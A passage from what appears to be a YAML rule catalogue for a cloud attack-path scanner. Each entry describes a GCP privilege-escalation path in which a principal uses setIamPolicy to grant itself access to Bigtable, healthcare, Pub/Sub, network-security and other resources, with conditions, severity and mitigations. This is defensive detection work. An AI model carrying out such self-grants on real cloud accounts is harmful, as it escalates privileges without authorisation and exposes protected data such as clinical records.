resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - bigtable.tables.readRows + aggregate_as: Verified table self-grant to the source + conditions: + - id: exact_table_policy + description: Requires an inventoried table with exact table and instance IAM policies, a cluster ready to serve reads, a new readRows permission, and permission to change that table's policy. Incomplete evidence stays unresolved; an accepted change can also be shown through reviewed self-grant evidence. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict bigtable.tables.setIamPolicy on protected table resources and review self-directed IAM policy changes. + notes: A prospective grant is conditional until the IAM change succeeds and is limited to the exact table. Incomplete policy or readiness evidence stays unresolved; accepted changes can also be shown through gcp_resource_self_grant_evidence. +- id: gcp-bigtable-backups-setiampolicy-backup-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: bigtable + title: Self-grant Bigtable backup restore access + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#bigtablebackupssetiampolicy--grant-restore-access-to-a-protected-backup + source_revision: a1de13ac34 + summary: The caller can change an inventoried backup's IAM policy to grant itself restore access when that permission is absent and the backup is ready and unexpired. + requires: + all_of: + - action: bigtable.backups.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - bigtable.backups.restore + aggregate_as: Verified backup self-grant to the source + conditions: + - id: exact_backup_policy + description: Requires a ready, unexpired backup with exact instance and backup policies, policy-write authority, no existing restore right, and complete IAM, group, org policy, and deny evidence. CMEK-backed backup usability remains unresolved unless reviewed. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict bigtable.backups.setIamPolicy on protected backup resources and review self-directed IAM policy changes. + notes: The prospective grant is conditional until the IAM change succeeds and is limited to restoring this backup. Reading restored rows also needs a destination instance, table creation, and row-read access. Incomplete evidence stays unresolved; accepted changes can also be shown through gcp_resource_self_grant_evidence. +- id: gcp-bigtable-authorizedviews-setiampolicy-authorized-view-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: bigtable + title: Self-grant Bigtable authorized-view read access + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#authorizedmaterialized-view-setiampolicy--self-grant-scoped-data-access + source_revision: a1de13ac34 + summary: The caller can change an inventoried authorized view's IAM policy to grant itself read access to that view when it lacks both view and base-table row reads. + requires: + all_of: + - action: bigtable.authorizedViews.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - bigtable.authorizedViews.readRows + aggregate_as: Verified authorized view self-grant to the source + conditions: + - id: exact_authorized_view_policy + description: Requires an existing authorized view, exact policy-write authority, no current view or base-table row read, and complete view, table, instance, IAM, group, and deny evidence. An accepted mutation can also be supported by reviewed evidence. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict bigtable.authorizedViews.setIamPolicy on protected authorized view resources and review self-directed + IAM policy changes. + notes: The prospective grant is conditional until the IAM change succeeds and permits only the rows and columns exposed by this view. Incomplete policy or prior-access evidence stays unresolved; accepted changes can also be shown through gcp_resource_self_grant_evidence. +- id: gcp-bigtable-materializedviews-setiampolicy-materialized-view-self-grant + provider: gcp + service: bigtable + title: Self-grant bigtable.materializedViews.readRows on a materialized view + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#authorizedmaterialized-view-setiampolicy--self-grant-scoped-data-access + source_revision: a1de13ac34 + summary: The source uses bigtable.materializedViews.setIamPolicy on an exact materialized view to add its own IAM binding + and gain bigtable.materializedViews.readRows, which it lacked before the accepted policy mutation. + requires: + all_of: + - action: bigtable.materializedViews.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - bigtable.materializedViews.readRows + aggregate_as: Verified materialized view self-grant to the source + conditions: + - id: exact_materialized_view_policy + description: Requires an inventoried materialized view with a complete exact view and instance IAM policy, a ready cluster, a new readRows permission, and permission to change that view's policy. Incomplete evidence stays unresolved; an accepted change can also be shown through reviewed self-grant evidence. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict bigtable.materializedViews.setIamPolicy on protected materialized view resources and review self-directed + IAM policy changes. + notes: A prospective grant is conditional until the IAM change succeeds and yields only the data exposed by this materialized view. Incomplete policy or readiness evidence stays unresolved; accepted changes can also be shown through gcp_resource_self_grant_evidence. +- id: gcp-discoveryengine-engines-setiampolicy-engine-self-grant + provider: gcp + service: discoveryengine + title: Self-grant discoveryengine.engines.update on an engine + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-discovery-engine-privesc.md#discoveryengineenginesdatastorescollectionssetiampolicy--self-grant-app-or-corpus-access + source_revision: a1de13ac34 + summary: The source can add itself to an exact existing engine policy and gain discoveryengine.engines.update, + which it does not already hold. The engine must be under a named collection. + requires: + all_of: + - action: discoveryengine.engines.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - discoveryengine.engines.update + aggregate_as: Engine policy self-grant paths + conditions: + - id: prospective_engine_policy + description: An exact listed engine and complete current policy must be available; the source must hold policy-write access, lack update access, and be able to add a collected grantable Admin role without an effective deny or member restriction. + - id: exact_reviewed_self_grant + description: Requires complete, unique, source-bound evidence for the exact policy and granted resources, policy-write action, new permission, + prior absence, accepted IAM mutation, and effective post-grant access. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict discoveryengine.engines.setIamPolicy on protected engine resources and review self-directed IAM policy + changes. + references: + - https://docs.cloud.google.com/gemini/enterprise/docs/reference/rest/v1/projects.locations.collections.engines/setIamPolicy + - https://docs.cloud.google.com/gemini/enterprise/docs/reference/rest/v1alpha/projects.locations.collections.engines/list + notes: A prospective path requires the exact engine and current policy; a verified mutation record can independently prove the exact gain. The engine grant does not by itself authorize a linked data store or bypass document ACLs. +- id: gcp-discoveryengine-datastores-setiampolicy-data-store-self-grant + provider: gcp + service: discoveryengine + title: Self-grant discoveryengine.dataStores.update on a data store + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-discovery-engine-privesc.md#discoveryengineenginesdatastorescollectionssetiampolicy--self-grant-app-or-corpus-access + source_revision: a1de13ac34 + summary: The source can add itself to an exact existing data store policy and gain discoveryengine.dataStores.update, + which it does not already hold. This covers standalone stores and stores under a collection. + requires: + all_of: + - action: discoveryengine.dataStores.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - discoveryengine.dataStores.update + aggregate_as: Data store policy self-grant paths + conditions: + - id: prospective_data_store_policy + description: An exact listed data store and complete current policy must be available; the source must hold policy-write access, lack update access, and be able to add a collected grantable Admin role without an effective deny or member restriction. + - id: exact_reviewed_self_grant + description: Requires complete, unique, source-bound evidence for the exact policy and granted resources, policy-write action, new permission, + prior absence, accepted IAM mutation, and effective post-grant access. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict discoveryengine.dataStores.setIamPolicy on protected data store resources and review self-directed + IAM policy changes. + references: + - https://docs.cloud.google.com/gemini/enterprise/docs/reference/rest/v1alpha/projects.locations.dataStores/setIamPolicy + - https://docs.cloud.google.com/gemini/enterprise/docs/reference/rest/v1/projects.locations.collections.dataStores/setIamPolicy + notes: A prospective path requires the exact data store and current policy; a verified mutation record can independently prove the exact gain. The grant does not by itself authorize access to a linked app or bypass document ACLs. +- id: gcp-discoveryengine-collections-setiampolicy-collection-self-grant + provider: gcp + service: discoveryengine + title: Self-grant discoveryengine.collections.get on a collection + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-discovery-engine-privesc.md#discoveryengineenginesdatastorescollectionssetiampolicy--self-grant-app-or-corpus-access + source_revision: a1de13ac34 + summary: The source can add itself to an exact existing collection policy and gain discoveryengine.collections.get, + which it does not already hold. That permission alone does not grant access to a linked app or its data stores. + requires: + all_of: + - action: discoveryengine.collections.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - discoveryengine.collections.get + aggregate_as: Collection policy self-grant paths + conditions: + - id: prospective_collection_policy + description: An exact listed collection and complete current policy must be available; the source must hold collection policy-write access, lack collection get access, and be able to add a collected grantable Viewer role without an effective deny or member restriction. + - id: exact_reviewed_self_grant + description: Requires complete, unique, source-bound evidence for the exact policy and granted resources, policy-write action, new permission, + prior absence, accepted IAM mutation, and effective post-grant access. + blockers: + - gcp_deny_policy + confidence: conditional + severity: medium + mitigation: Restrict discoveryengine.collections.setIamPolicy on protected collection resources and review self-directed + IAM policy changes. + references: + - https://docs.cloud.google.com/gemini/enterprise/docs/reference/rest/v1alpha/projects.locations.collections/setIamPolicy + - https://docs.cloud.google.com/gemini/enterprise/docs/iam-policy-for-apps-and-data-stores + notes: The prospective path is limited to the listed collection and a verified Viewer role that grants collections.get. A verified mutation record can independently prove the exact gain. App and child data-store access need separate grants. +- id: gcp-identitytoolkit-tenants-setiampolicy-tenant-self-grant + provider: gcp + service: identitytoolkit + title: Self-grant user administration in an Identity Platform tenant + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#identitytoolkittenantssetiampolicy--self-grant-control-of-an-identity-platform-tenant + source_revision: a1de13ac34 + summary: The source can grant itself user-update permission in an existing Identity Platform tenant when it can write that tenant's IAM policy and lacks the permission now. + requires: + all_of: + - action: identitytoolkit.tenants.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - firebaseauth.users.update + aggregate_as: Verified tenant self-grant to the source + conditions: + - id: exact_reviewed_self_grant + description: Requires a uniquely listed existing tenant, its complete IAM policy, effective policy-write authority, absence of prior user-update access, a known tenant-grantable Admin role and complete ancestor and deny evidence. An independently reviewed accepted mutation is a second proof route. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict identitytoolkit.tenants.setIamPolicy on protected tenant resources and review self-directed IAM policy + changes. + notes: The prospective grant applies only to the named tenant. It does not extend to other tenants or the project's default user pool. A reviewed accepted mutation remains a second proof route. + references: + - https://docs.cloud.google.com/identity-platform/docs/multi-tenancy-access-control + - https://docs.cloud.google.com/identity-platform/docs/reference/rest/v2/projects.tenants/getIamPolicy + - https://docs.cloud.google.com/iam/docs/roles-permissions/identityplatform +- id: gcp-healthcare-datasets-setiampolicy-dataset-self-grant + provider: gcp + service: healthcare + title: Gain FHIR store search access through a dataset IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-healthcare-privesc.md#healthcaresetiampolicy--grant-a-clinical-data-role-to-your-principal + source_revision: a1de13ac34 + summary: The source can use healthcare.datasets.setIamPolicy on an inventoried dataset to grant itself FHIR store search permission on an existing child store when it lacks that permission today. + requires: + all_of: + - action: healthcare.datasets.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - healthcare.fhirStores.searchResources + aggregate_as: FHIR stores reachable through a dataset self-grant + conditions: + - id: exact_dataset_and_store_policy + description: Requires a unique existing FHIR store under the exact dataset, collected dataset and store IAM policies, a grantable FHIR Resource Reader role, and no existing effective search permission. The proposed IAM change and any consent-limited data access remain conditional. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict healthcare.datasets.setIamPolicy on protected dataset resources and review self-directed IAM policy + changes. + notes: A dataset policy grant inherits to its child FHIR stores. This path reports a prospective permission gain on an existing store; it does not assert that clinical records exist or that consent rules permit reading them. A separately reviewed exact self-grant may also establish the path. + references: + - https://docs.cloud.google.com/healthcare-api/docs/access-control + - https://docs.cloud.google.com/healthcare-api/docs/reference/rest/v1/projects.locations.datasets.fhirStores/list + - https://docs.cloud.google.com/iam/docs/roles-permissions/healthcare +- id: gcp-healthcare-fhirstores-setiampolicy-fhir-store-self-grant + provider: gcp + service: healthcare + title: Gain FHIR resource read access through a FHIR store IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-healthcare-privesc.md#healthcaresetiampolicy--grant-a-clinical-data-role-to-your-principal + source_revision: a1de13ac34 + summary: The source can change the IAM policy of an existing FHIR store to add its own FHIR resource read permission when it lacks that permission today. + requires: + all_of: + - action: healthcare.fhirStores.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - healthcare.fhirResources.get + aggregate_as: FHIR stores where the source could gain resource read + conditions: + - id: exact_fhir_store_policy + description: Requires a unique existing FHIR store with a collected store and parent dataset IAM policy, an effective store policy-write grant, a grantable FHIR Resource Reader role, and no existing FHIR resource read permission. Actual policy mutation and data access remain conditional. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict healthcare.fhirStores.setIamPolicy on protected fhir store resources and review self-directed IAM policy + changes. + notes: A prospective permission gain is limited to the exact FHIR store; it does not assert that resources exist or that consent rules permit reading them. A separately reviewed exact self-grant may also establish the path. + references: + - https://docs.cloud.google.com/healthcare-api/docs/reference/rest/v1/projects.locations.datasets.fhirStores/setIamPolicy + - https://docs.cloud.google.com/iam/docs/roles-permissions/healthcare +- id: gcp-healthcare-dicomstores-setiampolicy-dicom-store-self-grant + provider: gcp + service: healthcare + title: Gain DICOMweb read access through a DICOM store IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-healthcare-privesc.md#healthcaresetiampolicy--grant-a-clinical-data-role-to-your-principal + source_revision: a1de13ac34 + summary: The source can change the IAM policy of an existing DICOM store to add its own DICOMweb read permission when it lacks that permission today. + requires: + all_of: + - action: healthcare.dicomStores.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - healthcare.dicomStores.dicomWebRead + aggregate_as: DICOM stores where the source could gain DICOMweb read + conditions: + - id: exact_dicom_store_policy + description: Requires a unique existing DICOM store with a collected store and parent dataset IAM policy, an effective store policy-write grant, a grantable DICOM Viewer role, and no existing DICOMweb read permission. Actual policy mutation and data access remain conditional. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict healthcare.dicomStores.setIamPolicy on protected dicom store resources and review self-directed IAM + policy changes. + notes: A prospective permission gain is limited to the exact DICOM store; it does not assert that images exist. A separately reviewed exact self-grant may also establish the path. + references: + - https://docs.cloud.google.com/healthcare-api/docs/reference/rest/v1/projects.locations.datasets.dicomStores/list + - https://docs.cloud.google.com/iam/docs/roles-permissions/healthcare +- id: gcp-healthcare-hl7v2stores-setiampolicy-hl7v2-store-self-grant + provider: gcp + service: healthcare + title: Gain HL7v2 message list access through a store IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-healthcare-privesc.md#healthcaresetiampolicy--grant-a-clinical-data-role-to-your-principal + source_revision: a1de13ac34 + summary: The source can change the IAM policy of an existing HL7v2 store to add its own message list permission when it lacks that permission today. + requires: + all_of: + - action: healthcare.hl7V2Stores.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - healthcare.hl7V2Messages.list + aggregate_as: HL7v2 stores where the source could gain message list + conditions: + - id: exact_hl7v2_store_policy + description: Requires a unique existing HL7v2 store with a collected store and parent dataset IAM policy, an effective store policy-write grant, a grantable HL7v2 Consumer role, and no existing message list permission. Actual policy mutation and message access remain conditional. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict healthcare.hl7V2Stores.setIamPolicy on protected hl7v2 store resources and review self-directed IAM + policy changes. + notes: Message list is checked on the exact store, unlike message get on one message. A prospective permission gain does not assert that messages exist. A separately reviewed exact self-grant may also establish the path. + references: + - https://docs.cloud.google.com/healthcare-api/docs/reference/rest/v1/projects.locations.datasets.hl7V2Stores.messages/list + - https://docs.cloud.google.com/iam/docs/roles-permissions/healthcare +- id: gcp-healthcare-consentstores-setiampolicy-consent-store-self-grant + provider: gcp + service: healthcare + title: Self-grant healthcare.consents.get on a consent store + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-healthcare-privesc.md#healthcaresetiampolicy--grant-a-clinical-data-role-to-your-principal + source_revision: a1de13ac34 + summary: A principal that can write the IAM policy of a named consent store may grant itself consent read access there when its existing grants do not already provide it. An accepted, reviewed policy mutation can also establish the gain. + requires: + all_of: + - action: healthcare.consentStores.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - healthcare.consents.get + aggregate_as: Consent read access through {target.policy_resource} + conditions: + - id: exact_reviewed_self_grant + description: Requires complete, unique, source-bound evidence for the exact policy and granted resources, policy-write action, new permission, + prior absence, accepted IAM mutation, and effective post-grant access. + - id: prospective_consent_store_policy + description: A prospective path needs a unique named consent store, readable store and dataset IAM policies, an effective exact-store policy write and policy read, and a known grantable consent-reader role. Incomplete inventory or uncertain prior access stays unresolved. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict healthcare.consentStores.setIamPolicy on protected consent store resources and review self-directed + IAM policy changes. + notes: The prospective path uses collected consent-store and dataset policies to exclude prior access inherited from the dataset; the reviewed-mutation evidence path remains available for a proven exact grant. +- id: gcp-networkconnectivity-hubs-setiampolicy-hub-self-grant + provider: gcp + service: networkconnectivity + title: Self-grant networkconnectivity.hubs.update on a hub + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-connectivity-center-privesc.md#resource-iam-self-grants + source_revision: a1de13ac34 + summary: A reviewed, accepted IAM mutation on an exact hub gave the source networkconnectivity.hubs.update when it lacked that permission before. A hub policy write alone does not establish that this role is grantable at hub scope. + requires: + all_of: + - action: networkconnectivity.hubs.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - networkconnectivity.hubs.update + aggregate_as: Verified hub self-grant to the source + conditions: + - id: exact_reviewed_self_grant + description: Requires complete, unique, source-bound evidence for the exact policy and granted resources, policy-write action, new permission, + prior absence, accepted IAM mutation, and effective post-grant access. + - id: hub_scope_role_eligibility + description: The predefined hubAdmin role is documented as grantable at project scope, so a prospective hub-level write cannot assume it grants hubs.update. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict networkconnectivity.hubs.setIamPolicy on protected hub resources and review self-directed IAM policy + changes. + notes: The gcp_resource_self_grant_evidence record must prove this exact hub-level permission gain. A separate hub-level groupUser grant can allow group use, but it does not imply hubs.update. +- id: gcp-networkconnectivity-hubs-setiampolicy-group-use-self-grant + provider: gcp + service: networkconnectivity + title: Grant self group use through a hub IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-connectivity-center-privesc.md#resource-iam-self-grants + source_revision: a1de13ac34 + summary: A principal that can write a named hub IAM policy may grant itself roles/networkconnectivity.groupUser on that hub and gain use of its observed groups, provided it lacks that access already. + requires: + all_of: + - action: networkconnectivity.hubs.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - networkconnectivity.groups.use + aggregate_as: Group use through {target.policy_resource} + conditions: + - id: exact_hub_group + description: Needs a unique named hub and child group, readable hub and group policies, an effective hub-level policy write and read, a known groupUser role, and no prior group-use grant. + - id: attachment_prerequisites + description: Using the new group permission to attach a spoke also requires authority over the spoke and its referenced network. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict hub IAM policy writes and review grants of groupUser on hubs. + notes: Google documents granting roles/networkconnectivity.groupUser on a hub. This grants group use on that hub, not hub update or unrestricted spoke creation. +- id: gcp-networkconnectivity-groups-setiampolicy-group-self-grant + provider: gcp + service: networkconnectivity + title: Self-grant networkconnectivity.groups.use on a group + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-connectivity-center-privesc.md#resource-iam-self-grants + source_revision: a1de13ac34 + summary: A principal that can write the IAM policy of a named hub group may grant itself group use there when its existing grants do not already provide it. An accepted, reviewed mutation can also establish the gain. + requires: + all_of: + - action: networkconnectivity.groups.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - networkconnectivity.groups.use + aggregate_as: Group use through {target.policy_resource} + conditions: + - id: exact_reviewed_self_grant + description: Requires complete, unique, source-bound evidence for the exact policy and granted resources, policy-write action, new permission, + prior absence, accepted IAM mutation, and effective post-grant access. + - id: prospective_group_policy + description: A prospective path needs a unique named group, readable group and parent hub IAM policies, effective group-level policy write and read, a known groupUser role, and no prior group-use grant. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict networkconnectivity.groups.setIamPolicy on protected group resources and review self-directed IAM policy + changes. + notes: The prospective route uses collected group and parent hub policies to exclude already granted access; reviewed accepted-mutation evidence remains a separate proof path. +- id: gcp-networksecurity-addressgroups-setiampolicy-address-group-self-grant + provider: gcp + service: networksecurity + title: Self-grant networksecurity.addressGroups.update on an address group + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#networksecuritysetiampolicy---self-grant-control-of-one-policy-resource + source_revision: a1de13ac34 + summary: A principal that can write the IAM policy of a named project address group may grant itself update access there if it does not already hold that permission. A reviewed accepted mutation can also prove the gain. + requires: + all_of: + - action: networksecurity.addressGroups.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - networksecurity.addressGroups.update + aggregate_as: Address group update through {target.policy_resource} + conditions: + - id: exact_reviewed_self_grant + description: Requires complete, unique, source-bound evidence for the exact policy and granted resources, policy-write action, new permission, + prior absence, accepted IAM mutation, and effective post-grant access. + - id: prospective_address_group_policy + description: A prospective path needs a unique named project address group, its readable IAM policy, an effective exact-resource policy write and read, a known editor role, and no prior update permission. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict networksecurity.addressGroups.setIamPolicy on protected address group resources and review self-directed + IAM policy changes. + notes: Both prospective and reviewed routes are limited to project address groups. The organization address-group API has no getIamPolicy or setIamPolicy method. Global and regional project groups are supported. +- id: gcp-networksecurity-authorizationpolicies-setiampolicy-authorization-policy-self-grant + provider: gcp + service: networksecurity + title: Self-grant update access to an authorization policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#networksecuritysetiampolicy---self-grant-control-of-one-policy-resource + source_revision: a1de13ac34 + summary: A principal that can write the IAM policy of a named project authorization policy may grant itself update access there if it does not already hold that permission. A reviewed accepted mutation can also prove the gain. + requires: + all_of: + - action: networksecurity.authorizationPolicies.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - networksecurity.authorizationPolicies.update + aggregate_as: Authorization policy update through {target.policy_resource} + conditions: + - id: exact_reviewed_self_grant + description: Requires complete, unique, source-bound evidence for the exact policy and granted resources, policy-write action, new permission, + prior absence, accepted IAM mutation, and effective post-grant access. + - id: prospective_authorization_policy + description: A prospective path needs a unique named project authorization policy, its readable IAM policy, an effective exact-resource policy write and read, a known editor role, and no prior update permission. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict networksecurity.authorizationPolicies.setIamPolicy on protected authorization policy resources and + review self-directed IAM policy changes. + notes: Both prospective and reviewed routes require an exact project authorization policy. Global and regional project policies are supported. +- id: gcp-networksecurity-authzpolicies-setiampolicy-authz-policy-self-grant + provider: gcp + service: networksecurity + title: Self-grant update access to an authz policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#networksecuritysetiampolicy---self-grant-control-of-one-policy-resource + source_revision: a1de13ac34 + summary: A principal that can write the IAM policy of a named project authz policy may grant itself update access there if it does not already hold that permission. A reviewed accepted mutation can also prove the gain. + requires: + all_of: + - action: networksecurity.authzPolicies.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - networksecurity.authzPolicies.update + aggregate_as: Authz policy update through {target.policy_resource} + conditions: + - id: exact_reviewed_self_grant + description: Requires complete, unique, source-bound evidence for the exact policy and granted resources, policy-write action, new permission, + prior absence, accepted IAM mutation, and effective post-grant access. + - id: prospective_authz_policy + description: A prospective path needs a unique named project authz policy, its readable IAM policy, an effective exact-resource policy write and read, a known editor role, and no prior update permission. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict networksecurity.authzPolicies.setIamPolicy on protected authz policy resources and review self-directed + IAM policy changes. + notes: Both prospective and reviewed routes require an exact project authz policy. Global and regional project policies are supported. +- id: gcp-networksecurity-clienttlspolicies-setiampolicy-client-tls-policy-self-grant + provider: gcp + service: networksecurity + title: Self-grant update access to a client TLS policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#networksecuritysetiampolicy---self-grant-control-of-one-policy-resource + source_revision: a1de13ac34 + summary: A principal that can write the IAM policy of a named project client TLS policy may grant itself update access there if it does not already hold that permission. A reviewed accepted mutation can also prove the gain. + requires: + all_of: + - action: networksecurity.clientTlsPolicies.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - networksecurity.clientTlsPolicies.update + aggregate_as: Client TLS policy update through {target.policy_resource} + conditions: + - id: exact_reviewed_self_grant + description: Requires complete, unique, source-bound evidence for the exact policy and granted resources, policy-write action, new permission, + prior absence, accepted IAM mutation, and effective post-grant access. + - id: prospective_client_tls_policy + description: A prospective path needs a unique named project client TLS policy, its readable IAM policy, an effective exact-resource policy write and read, a known editor role, and no prior update permission. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict networksecurity.clientTlsPolicies.setIamPolicy on protected client tls policy resources and review + self-directed IAM policy changes. + notes: Both prospective and reviewed routes require an exact project client TLS policy. Global and regional project policies are supported. +- id: gcp-networksecurity-servertlspolicies-setiampolicy-server-tls-policy-self-grant + provider: gcp + service: networksecurity + title: Self-grant update access to a server TLS policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#networksecuritysetiampolicy---self-grant-control-of-one-policy-resource + source_revision: a1de13ac34 + summary: A principal that can write the IAM policy of a named project server TLS policy may grant itself update access there if it does not already hold that permission. A reviewed accepted mutation can also prove the gain. + requires: + all_of: + - action: networksecurity.serverTlsPolicies.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - networksecurity.serverTlsPolicies.update + aggregate_as: Server TLS policy update through {target.policy_resource} + conditions: + - id: exact_reviewed_self_grant + description: Requires complete, unique, source-bound evidence for the exact policy and granted resources, policy-write action, new permission, + prior absence, accepted IAM mutation, and effective post-grant access. + - id: prospective_server_tls_policy + description: A prospective path needs a unique named project server TLS policy, its readable IAM policy, an effective exact-resource policy write and read, a known editor role, and no prior update permission. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict networksecurity.serverTlsPolicies.setIamPolicy on protected server tls policy resources and review + self-directed IAM policy changes. + notes: Both prospective and reviewed routes require an exact project server TLS policy. Global and regional project policies are supported. +- id: gcp-pubsub-topics-setiampolicy-topic-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: pubsub + title: Self-grant pubsub.topics.publish on a topic + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md#pubsubtopicssetiampolicy--pubsubsubscriptionssetiampolicy--self-grant-control-of-one-resource + source_revision: a1de13ac34 + summary: The source can use pubsub.topics.setIamPolicy on an inventoried topic to add its own Publisher binding when it does not already have publish access. + requires: + all_of: + - action: pubsub.topics.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - pubsub.topics.publish + aggregate_as: Topic publish access the source could grant itself + conditions: + - id: exact_topic_policy + description: Requires an inventoried topic, policy-write authority on that topic, and no current publish grant; incomplete direct IAM, group membership, org policy, or deny evidence leaves the path unresolved. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict pubsub.topics.setIamPolicy on protected topic resources and review self-directed IAM policy changes. + notes: A Pub/Sub Publisher role can be granted on one topic. A prospective path is conditional because the IAM mutation has not been attempted; a reviewed accepted mutation can also provide direct evidence. +- id: gcp-pubsub-subscriptions-setiampolicy-subscription-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: pubsub + title: Self-grant pubsub.subscriptions.consume on a subscription + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md#pubsubtopicssetiampolicy--pubsubsubscriptionssetiampolicy--self-grant-control-of-one-resource + source_revision: a1de13ac34 + summary: The source can use pubsub.subscriptions.setIamPolicy on an inventoried subscription to add its own Subscriber binding when it does not already have consume access. + requires: + all_of: + - action: 